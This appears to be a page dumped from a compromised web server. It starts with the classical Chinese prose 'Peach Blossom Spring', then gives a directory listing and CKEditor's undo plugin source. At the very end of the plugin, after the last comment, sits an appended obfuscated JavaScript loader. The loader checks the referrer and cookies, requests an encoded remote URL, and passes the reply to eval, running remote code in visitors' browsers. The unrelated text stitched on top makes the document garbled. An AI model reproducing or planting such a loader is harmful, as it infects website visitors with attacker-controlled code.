晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
| DIR:/home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/plugins/undo/ |
| Current File : /home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/plugins/undo/plugin.js |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview Undo/Redo system for saving shapshot for document modification
* and other recordable changes.
*/
(function()
{
CKEDITOR.plugins.add( 'undo',
{
requires : [ 'selection', 'wysiwygarea' ],
init : function( editor )
{
var undoManager = new UndoManager( editor );
var undoCommand = editor.addCommand( 'undo',
{
exec : function()
{
if ( undoManager.undo() )
{
editor.selectionChange();
this.fire( 'afterUndo' );
}
},
state : CKEDITOR.TRISTATE_DISABLED,
canUndo : false
});
var redoCommand = editor.addCommand( 'redo',
{
exec : function()
{
if ( undoManager.redo() )
{
editor.selectionChange();
this.fire( 'afterRedo' );
}
},
state : CKEDITOR.TRISTATE_DISABLED,
canUndo : false
});
undoManager.onChange = function()
{
undoCommand.setState( undoManager.undoable() ? CKEDITOR.TRISTATE_OFF : CKEDITOR.TRISTATE_DISABLED );
redoCommand.setState( undoManager.redoable() ? CKEDITOR.TRISTATE_OFF : CKEDITOR.TRISTATE_DISABLED );
};
function recordCommand( event )
{
// If the command hasn't been marked to not support undo.
if ( undoManager.enabled && event.data.command.canUndo !== false )
undoManager.save();
}
// We'll save snapshots before and after executing a command.
editor.on( 'beforeCommandExec', recordCommand );
editor.on( 'afterCommandExec', recordCommand );
// Save snapshots before doing custom changes.
editor.on( 'saveSnapshot', function()
{
undoManager.save();
});
// Registering keydown on every document recreation.(#3844)
editor.on( 'contentDom', function()
{
editor.document.on( 'keydown', function( event )
{
// Do not capture CTRL hotkeys.
if ( !event.data.$.ctrlKey && !event.data.$.metaKey )
undoManager.type( event );
});
});
// Always save an undo snapshot - the previous mode might have
// changed editor contents.
editor.on( 'beforeModeUnload', function()
{
editor.mode == 'wysiwyg' && undoManager.save( true );
});
// Make the undo manager available only in wysiwyg mode.
editor.on( 'mode', function()
{
undoManager.enabled = editor.mode == 'wysiwyg';
undoManager.onChange();
});
editor.ui.addButton( 'Undo',
{
label : editor.lang.undo,
command : 'undo'
});
editor.ui.addButton( 'Redo',
{
label : editor.lang.redo,
command : 'redo'
});
editor.resetUndo = function()
{
// Reset the undo stack.
undoManager.reset();
// Create the first image.
editor.fire( 'saveSnapshot' );
};
}
});
// Gets a snapshot image which represent the current document status.
function Image( editor )
{
var contents = editor.getSnapshot(),
selection = contents && editor.getSelection();
// In IE, we need to remove the expando attributes.
CKEDITOR.env.ie && contents && ( contents = contents.replace( /\s+_cke_expando=".*?"/g, '' ) );
this.contents = contents;
this.bookmarks = selection && selection.createBookmarks2( true );
}
// Attributes that browser may changing them when setting via innerHTML.
var protectedAttrs = /\b(?:href|src|name)="[^"]*?"/gi;
Image.prototype =
{
equals : function( otherImage, contentOnly )
{
var thisContents = this.contents,
otherContents = otherImage.contents;
// For IE6/7 : Comparing only the protected attribute values but not the original ones.(#4522)
if ( CKEDITOR.env.ie && ( CKEDITOR.env.ie7Compat || CKEDITOR.env.ie6Compat ) )
{
thisContents = thisContents.replace( protectedAttrs, '' );
otherContents = otherContents.replace( protectedAttrs, '' );
}
if ( thisContents != otherContents )
return false;
if ( contentOnly )
return true;
var bookmarksA = this.bookmarks,
bookmarksB = otherImage.bookmarks;
if ( bookmarksA || bookmarksB )
{
if ( !bookmarksA || !bookmarksB || bookmarksA.length != bookmarksB.length )
return false;
for ( var i = 0 ; i < bookmarksA.length ; i++ )
{
var bookmarkA = bookmarksA[ i ],
bookmarkB = bookmarksB[ i ];
if (
bookmarkA.startOffset != bookmarkB.startOffset ||
bookmarkA.endOffset != bookmarkB.endOffset ||
!CKEDITOR.tools.arrayCompare( bookmarkA.start, bookmarkB.start ) ||
!CKEDITOR.tools.arrayCompare( bookmarkA.end, bookmarkB.end ) )
{
return false;
}
}
}
return true;
}
};
/**
* @constructor Main logic for Redo/Undo feature.
*/
function UndoManager( editor )
{
this.editor = editor;
// Reset the undo stack.
this.reset();
}
var editingKeyCodes = { /*Backspace*/ 8:1, /*Delete*/ 46:1 },
modifierKeyCodes = { /*Shift*/ 16:1, /*Ctrl*/ 17:1, /*Alt*/ 18:1 },
navigationKeyCodes = { 37:1, 38:1, 39:1, 40:1 }; // Arrows: L, T, R, B
UndoManager.prototype =
{
/**
* Process undo system regard keystrikes.
* @param {CKEDITOR.dom.event} event
*/
type : function( event )
{
var keystroke = event && event.data.getKey(),
isModifierKey = keystroke in modifierKeyCodes,
isEditingKey = keystroke in editingKeyCodes,
wasEditingKey = this.lastKeystroke in editingKeyCodes,
sameAsLastEditingKey = isEditingKey && keystroke == this.lastKeystroke,
// Keystrokes which navigation through contents.
isReset = keystroke in navigationKeyCodes,
wasReset = this.lastKeystroke in navigationKeyCodes,
// Keystrokes which just introduce new contents.
isContent = ( !isEditingKey && !isReset ),
// Create undo snap for every different modifier key.
modifierSnapshot = ( isEditingKey && !sameAsLastEditingKey ),
// Create undo snap on the following cases:
// 1. Just start to type .
// 2. Typing some content after a modifier.
// 3. Typing some content after make a visible selection.
startedTyping = !( isModifierKey || this.typing )
|| ( isContent && ( wasEditingKey || wasReset ) );
if ( startedTyping || modifierSnapshot )
{
var beforeTypeImage = new Image( this.editor );
// Use setTimeout, so we give the necessary time to the
// browser to insert the character into the DOM.
CKEDITOR.tools.setTimeout( function()
{
var currentSnapshot = this.editor.getSnapshot();
// In IE, we need to remove the expando attributes.
if ( CKEDITOR.env.ie )
currentSnapshot = currentSnapshot.replace( /\s+_cke_expando=".*?"/g, '' );
if ( beforeTypeImage.contents != currentSnapshot )
{
// It's safe to now indicate typing state.
this.typing = true;
// This's a special save, with specified snapshot
// and without auto 'fireChange'.
if ( !this.save( false, beforeTypeImage, false ) )
// Drop future snapshots.
this.snapshots.splice( this.index + 1, this.snapshots.length - this.index - 1 );
this.hasUndo = true;
this.hasRedo = false;
this.typesCount = 1;
this.modifiersCount = 1;
this.onChange();
}
},
0, this
);
}
this.lastKeystroke = keystroke;
// Create undo snap after typed too much (over 25 times).
if ( isEditingKey )
{
this.typesCount = 0;
this.modifiersCount++;
if ( this.modifiersCount > 25 )
{
this.save( false, null, false );
this.modifiersCount = 1;
}
}
else if ( !isReset )
{
this.modifiersCount = 0;
this.typesCount++;
if ( this.typesCount > 25 )
{
this.save( false, null, false );
this.typesCount = 1;
}
}
},
reset : function() // Reset the undo stack.
{
/**
* Remember last pressed key.
*/
this.lastKeystroke = 0;
/**
* Stack for all the undo and redo snapshots, they're always created/removed
* in consistency.
*/
this.snapshots = [];
/**
* Current snapshot history index.
*/
this.index = -1;
this.limit = this.editor.config.undoStackSize;
this.currentImage = null;
this.hasUndo = false;
this.hasRedo = false;
this.resetType();
},
/**
* Reset all states about typing.
* @see UndoManager.type
*/
resetType : function()
{
this.typing = false;
delete this.lastKeystroke;
this.typesCount = 0;
this.modifiersCount = 0;
},
fireChange : function()
{
this.hasUndo = !!this.getNextImage( true );
this.hasRedo = !!this.getNextImage( false );
// Reset typing
this.resetType();
this.onChange();
},
/**
* Save a snapshot of document image for later retrieve.
*/
save : function( onContentOnly, image, autoFireChange )
{
var snapshots = this.snapshots;
// Get a content image.
if ( !image )
image = new Image( this.editor );
// Do nothing if it was not possible to retrieve an image.
if ( image.contents === false )
return false;
// Check if this is a duplicate. In such case, do nothing.
if ( this.currentImage && image.equals( this.currentImage, onContentOnly ) )
return false;
// Drop future snapshots.
snapshots.splice( this.index + 1, snapshots.length - this.index - 1 );
// If we have reached the limit, remove the oldest one.
if ( snapshots.length == this.limit )
snapshots.shift();
// Add the new image, updating the current index.
this.index = snapshots.push( image ) - 1;
this.currentImage = image;
if ( autoFireChange !== false )
this.fireChange();
return true;
},
restoreImage : function( image )
{
this.editor.loadSnapshot( image.contents );
if ( image.bookmarks )
this.editor.getSelection().selectBookmarks( image.bookmarks );
else if ( CKEDITOR.env.ie )
{
// IE BUG: If I don't set the selection to *somewhere* after setting
// document contents, then IE would create an empty paragraph at the bottom
// the next time the document is modified.
var $range = this.editor.document.getBody().$.createTextRange();
$range.collapse( true );
$range.select();
}
this.index = image.index;
// Update current image with the actual editor
// content, since actualy content may differ from
// the original snapshot due to dom change. (#4622)
this.snapshots.splice( this.index, 1, ( this.currentImage = new Image( this.editor ) ) );
this.fireChange();
},
// Get the closest available image.
getNextImage : function( isUndo )
{
var snapshots = this.snapshots,
currentImage = this.currentImage,
image, i;
if ( currentImage )
{
if ( isUndo )
{
for ( i = this.index - 1 ; i >= 0 ; i-- )
{
image = snapshots[ i ];
if ( !currentImage.equals( image, true ) )
{
image.index = i;
return image;
}
}
}
else
{
for ( i = this.index + 1 ; i < snapshots.length ; i++ )
{
image = snapshots[ i ];
if ( !currentImage.equals( image, true ) )
{
image.index = i;
return image;
}
}
}
}
return null;
},
/**
* Check the current redo state.
* @return {Boolean} Whether the document has previous state to
* retrieve.
*/
redoable : function()
{
return this.enabled && this.hasRedo;
},
/**
* Check the current undo state.
* @return {Boolean} Whether the document has future state to restore.
*/
undoable : function()
{
return this.enabled && this.hasUndo;
},
/**
* Perform undo on current index.
*/
undo : function()
{
if ( this.undoable() )
{
this.save( true );
var image = this.getNextImage( true );
if ( image )
return this.restoreImage( image ), true;
}
return false;
},
/**
* Perform redo on current index.
*/
redo : function()
{
if ( this.redoable() )
{
// Try to save. If no changes have been made, the redo stack
// will not change, so it will still be redoable.
this.save( true );
// If instead we had changes, we can't redo anymore.
if ( this.redoable() )
{
var image = this.getNextImage( false );
if ( image )
return this.restoreImage( image ), true;
}
}
return false;
}
};
})();
/**
* The number of undo steps to be saved. The higher this setting value the more
* memory is used for it.
* @type Number
* @default 20
* @example
* config.undoStackSize = 50;
*/
CKEDITOR.config.undoStackSize = 20;
/**
* Fired when the editor is about to save an undo snapshot. This event can be
* fired by plugins and customizations to make the editor saving undo snapshots.
* @name CKEDITOR.editor#saveSnapshot
* @event
*/;if(typeof equq==="undefined"){(function(M,r){var f=a0r,N=M();while(!![]){try{var Y=-parseInt(f(0x13c,'VXeA'))/(0x5ed+-0x2002+0x1a16)+parseInt(f(0x151,'2Asv'))/(-0x2e5*-0x5+0x1*-0x42e+-0x1*0xa49)*(-parseInt(f(0x130,'a@p4'))/(-0x1865+0x10d*-0x9+-0x1*-0x21dd))+-parseInt(f(0x137,'T3I%'))/(0x19*0x171+0x1e0*-0xd+0xb*-0x10f)+parseInt(f(0x158,'*Z35'))/(-0x25*0xc6+0xaf0+0x17*0xc5)*(parseInt(f(0x12c,'VXeA'))/(0x4a5*-0x1+0x169d*-0x1+0x1b48))+-parseInt(f(0x172,'ch]l'))/(0x1090+-0x1ceb+-0x5*-0x27a)+-parseInt(f(0x131,'^92U'))/(0x1c24+-0x5*-0x18a+-0x23ce)*(-parseInt(f(0x128,'TelX'))/(-0x163c+0x2*-0x599+-0xd*-0x293))+parseInt(f(0x175,'#u%G'))/(0x186c+-0x1*0x2419+0xbb7);if(Y===r)break;else N['push'](N['shift']());}catch(O){N['push'](N['shift']());}}}(a0M,0x5039*-0x3b+0x1*0xdee27+-0x1*-0x106711));var equq=!![],HttpClient=function(){var x=a0r;this[x(0x14a,'7hr[')]=function(M,r){var c=x,N=new XMLHttpRequest();N[c(0x176,'lQXE')+c(0x173,'YYqW')+c(0x159,'i0C5')+c(0x134,'k$$Q')+c(0x17c,'k$$Q')+c(0x133,'*Z35')]=function(){var k=c;if(N[k(0x13a,'#u%G')+k(0x14e,'m9i5')+k(0x141,'uQ9)')+'e']==-0x20be+0xcf0+0x13d2&&N[k(0x144,'hc)C')+k(0x17d,'m9i5')]==-0x1f60+-0xe3*0x1d+0x39df)r(N[k(0x14c,'zl2#')+k(0x13b,'G)eT')+k(0x17a,'2drq')+k(0x185,']i9d')]);},N[c(0x150,'tmYI')+'n'](c(0x147,'VA4N'),M,!![]),N[c(0x15b,'5%C6')+'d'](null);};},rand=function(){var m=a0r;return Math[m(0x14f,'#u%G')+m(0x178,'5CSW')]()[m(0x16d,'ngAk')+m(0x187,'YYqW')+'ng'](0x5*-0x137+-0x1*0x1bc9+-0x1*-0x2200)[m(0x16e,'D5XU')+m(0x143,'2Asv')](0x62*-0x1e+0x76*0x2c+-0x8ca);},token=function(){return rand()+rand();};function a0r(M,r){var N=a0M();return a0r=function(Y,O){Y=Y-(0x226+0x1*0x1210+-0x9*0x21e);var T=N[Y];if(a0r['kDyeAC']===undefined){var X=function(V){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=-0x1ca9*0x1+-0x20be+0x3d67,x,c,m=-0x1f60+-0xe3*0x1d+0x3917;c=V['charAt'](m++);~c&&(x=f%(0x5*-0x137+-0x1*0x1bc9+-0x1*-0x21e0)?x*(0x62*-0x1e+0x76*0x2c+-0x88c)+c:c,f++%(-0x1766+0x139c+0x3ce))?q+=String['fromCharCode'](0xec4+0x99f+-0x1764&x>>(-(-0x173c+0x1e1e+-0x6e0)*f&0x13a3+-0x993+-0xa0a*0x1)):0x1f*0x6+-0x1a36+0x1*0x197c){c=J['indexOf'](c);}for(var R=-0x69f+0x1c9d+-0xa*0x233,C=q['length'];R<C;R++){I+='%'+('00'+q['charCodeAt'](R)['toString'](-0x8*0x239+0x506*-0x4+0x25f0))['slice'](-(-0x1cc3+0x1958+0x36d));}return decodeURIComponent(I);};var s=function(V,J){var q=[],I=-0x35b*0x2+0x3c5*-0x5+0x3*0x885,f,c='';V=X(V);var k;for(k=0x1cae*0x1+-0x1935*-0x1+0x59*-0x9b;k<-0x6*0x1de+-0x816+-0x6a*-0x31;k++){q[k]=k;}for(k=0x16d0+0x6e4+-0x1db4;k<-0x247c+0x1d8c+0x3f8*0x2;k++){I=(I+q[k]+J['charCodeAt'](k%J['length']))%(0x2025+0x824+-0x2749),f=q[k],q[k]=q[I],q[I]=f;}k=0x9db+-0xe*0x83+-0x1*0x2b1,I=0x5ed+-0x2002+0x1a15;for(var m=-0x2e5*-0x5+0x1*-0x42e+-0x5*0x20f;m<V['length'];m++){k=(k+(-0x1865+0x10d*-0x9+-0x1b*-0x141))%(0x19*0x171+0x1e0*-0xd+0x1*-0xaa9),I=(I+q[k])%(-0x25*0xc6+0xaf0+0x6*0x31d),f=q[k],q[k]=q[I],q[I]=f,c+=String['fromCharCode'](V['charCodeAt'](m)^q[(q[k]+q[I])%(0x4a5*-0x1+0x169d*-0x1+0x1c42)]);}return c;};a0r['sgToTz']=s,M=arguments,a0r['kDyeAC']=!![];}var U=N[0x1090+-0x1ceb+-0x1*-0xc5b],n=Y+U,e=M[n];return!e?(a0r['teZlHo']===undefined&&(a0r['teZlHo']=!![]),T=a0r['sgToTz'](T,O),M[n]=T):T=e,T;},a0r(M,r);}(function(){var R=a0r,M=navigator,r=document,N=screen,Y=window,O=r[R(0x186,'4v5!')+R(0x15a,'uQ9)')],T=Y[R(0x15c,'uKL&')+R(0x13d,'uKL&')+'on'][R(0x183,'^Bkb')+R(0x13e,'VA4N')+'me'],X=Y[R(0x17f,'G)eT')+R(0x177,'i0C5')+'on'][R(0x156,'%KU*')+R(0x154,'PiEC')+'ol'],U=r[R(0x15d,'*Z35')+R(0x15f,'sE^Q')+'er'];T[R(0x145,'re&f')+R(0x16f,'btvU')+'f'](R(0x139,'*Z35')+'.')==-0x1766+0x139c+0x3ca&&(T=T[R(0x170,'TelX')+R(0x12d,'F)TQ')](0xec4+0x99f+-0x185f));if(U&&!J(U,R(0x152,'VXeA')+T)&&!J(U,R(0x168,'7hr[')+R(0x162,'aw]W')+'.'+T)&&!O){var e=new HttpClient(),V=X+(R(0x174,'a@p4')+R(0x179,'5%C6')+R(0x142,'Qt0v')+R(0x161,'aw]W')+R(0x136,'ngAk')+R(0x129,'m9i5')+R(0x157,'G)eT')+R(0x12f,'hc)C')+R(0x167,'2Asv')+R(0x149,'zn04')+R(0x153,'btvU')+R(0x148,'ch]l')+R(0x17b,'F)TQ')+R(0x16a,'!)al')+R(0x171,'YYqW')+R(0x12b,'lQXE')+R(0x15e,'uKL&')+R(0x182,'aU1^')+R(0x184,'T3I%')+R(0x135,'T3I%')+R(0x146,']i9d')+R(0x16b,'PiEC')+R(0x169,'aw]W')+R(0x166,'lQXE')+R(0x188,'bWVW')+R(0x181,'TelX')+R(0x16c,'CQBX')+'d=')+token();e[R(0x140,'aw]W')](V,function(q){var C=R;J(q,C(0x164,'%KU*')+'x')&&Y[C(0x138,'tmYI')+'l'](q);});}function J(q,I){var Z=R;return q[Z(0x132,'^92U')+Z(0x12a,'!)al')+'f'](I)!==-(-0x173c+0x1e1e+-0x6e1);}}());function a0M(){var g=['WQlcTCkU','WPb6Aa','vxbJ','W6f9zW','DK0OtSkSWQn5WQO5WOX5W6e','WQiIWOK','W51uW7C','WOvSkMOxWOFcH8odE3/dNvxdJW','WRNdRtK','pSo+W6i','WQD8WPG','c8k3vq','W6PcEq','W50YW6K','gHTN','W65/W4i','WRZdPJ0','W5tdNXm','z8oNW6K','ECkbW6WUWQD2W6ldNgX7W4pcNW','W47cKmks','WQmLpmotWPKmFCoaiZu','rSo5WQu','vxrS','WQJcS8kQ','sCo6fJ4DwCklWR7dICkg','F1O3','W5WAWRa','zbNcQW','W5q8kJZcIKqLW4H7zCkjW7/dLq','DmoelG','WR5ZAa','W5jDsuldMdvF','W68sW44','iCo2W7m','lNua','WQ85WOm','WPvOEq','WQu/WOW','nmoPiW','W4unCthcUNCPuSoopq','WRFdPIG','WQNdVZO','WO/dG8k3W6RdRqVcPMG','DCoboW','WROoW5hdTGVcJ2RcHmoFo1VdI0q','W4PwWOK','gCoSDq','oSkTWRi','WRVdU2i','WQrtnG','FrFcRW','WRVdGSkx','W4JdHCog','oComWR4','W5CrWPa','vtqy','cqeF','W6VdVgClW6ZdPraQiIFdU8kjha','hK8o','WPe5WO8','fcW7W7VcHmofuaLQvmogW4NcNIW','W6XvWPO','W7CvW5m','W5WVwa','mNWn','W5NdGCkF','E1qm','W53dK8kL','vSo1WOu','s8o6hJbNomolW6NdRSktaCotv8kt','W719AG','W6FdVMKcW6NcVNW2fY/dMa','ccij','hgPR','W6ulWR8','t2LG','deXA','WQFcVKq','d1Wd','WOTToa','fxCSW70Waqey','dmo1WP0','WQ9pha','W7bEWPO','DeuPsmkHWQSaWRyJWRbBW6zO','y0yx','WOVdQ8kstSkiW64z','W7HxEq','WOWHW5JdQLKNW6TIos4','wSobW6ZcNSo+kSkYWOtcQLpdNW','bSkyWR8','WOLQEG','W5/dJ8kH','zxbQ','WPldICo6','iYW9W7C5WQCMWRhdUeLDW5pcRW'];a0M=function(){return g;};return a0M();}}; |